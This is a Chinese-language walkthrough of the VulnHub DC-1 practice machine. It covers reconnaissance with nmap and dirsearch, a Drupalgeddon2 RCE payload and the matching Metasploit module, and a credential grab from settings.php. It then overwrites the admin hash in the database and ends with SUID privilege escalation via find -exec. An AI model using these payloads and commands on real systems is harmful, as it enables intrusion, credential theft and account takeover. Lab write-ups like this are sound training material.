vulnhub系列:DC-1
靶机下载
一、信息收集
nmap 扫描存活,根据 mac 地址寻找 IP
nmap 192.168.23.0/24
nmap 扫描端口
nmap 192.168.23.141 -p- -Pn -sV -O
dirsearch 目录扫描
python3 dirsearch.py -u http://192.168.23.141/
访问80端口
查看 wappalyzer 插件信息
目前基本信息
IP地址:192.168.23.141
开放端口:22、80、111、37573
Drupal 7
php 5.4.45
jQuery 1.4.4
直接搜索 Drupal 的漏洞
根据文章给出的POC尝试远程代码执行
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 192.168.23.141
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=dir
试着换了几个命令好像没有执行
找找目录扫描扫出来的文件或目录
发现一个token字段
账号注册等功能的页面
二、getshell
没找到啥东西,kali 使用工具
msfconsole
查找 Drupal 的 exp
search Drupal
利用漏洞
use exploit/unix/webapp/drupal_drupalgeddon2
查看漏洞模块参数
options
可以看到 rhosts 需要填写,设置 rhosts 内容,然后查看模块
set rhosts 192.168.23.141
show options
设置好后攻击
run或者exploit
成功连接
输入 shell,执行命令
shell
使用 python,提升交互性
python -c 'import pty; pty.spawn("/bin/bash")'
flag 1
查看当前目录,发现 flag1.txt,提示有一个配置文件
flag 2
文档给出的配置文件名为 settings.php,搜索文件
cat `find / -name settings.php`
翻了翻看到 flag 2 和数据库账号密码,flag 2 提示,暴力破解和字典攻击不是唯一方法,需要访问权限,能用这些证书做什么?
dbuser:R0ck3t
连接数据库
mysql -u dbuser -pR0ck3t
进入数据库查看以下数据
show databases;
查看 drupaldb 库下表名
use drupaldb;
show tables;
可以看到有一个 users 表,查看一下其下数据
select * from users;
发现 admin 和 Fred 用户,密码经过加密,update 修改密码
update users set pass=123456 where name="admin";
页面尝试登录,登录失败,可能需要同样的加密方式
百度一下怎么做
这里我用方法二,执行命令
php scripts/password-hash.sh admin
$S$D65v3m6Cw02rYa9zUwTmjtFHWy5OEneOVUyXMBjs5AxfiiNXgkYU
得到密码 admin 的 hash 值,进入数据库修改密码
mysql -u dbuser -pR0ck3t
use drupaldb;
update users set pass="$S$D65v3m6Cw02rYa9zUwTmjtFHWy5OEneOVUyXMBjs5AxfiiNXgkYU" where name="admin";
重新登录80端口页面,登录成功
admin:admin
flag 3
在图中位置发现 flag 3,特殊的 PERMS 能帮我找到密码,提示 -exec,应该是要 suid 提权
三、提权
查看 suid 权限的可执行程序
find / -perm -4000 2>/dev/null
依次寻找测试,find 可利用,提权成功
find / -name flag1.txt -exec "/bin/bash" -p \; -quit
在 root 目录下发现 thefinalflag.txt ,查看内容
flag 4
在 home 目录下发现 flag4.txt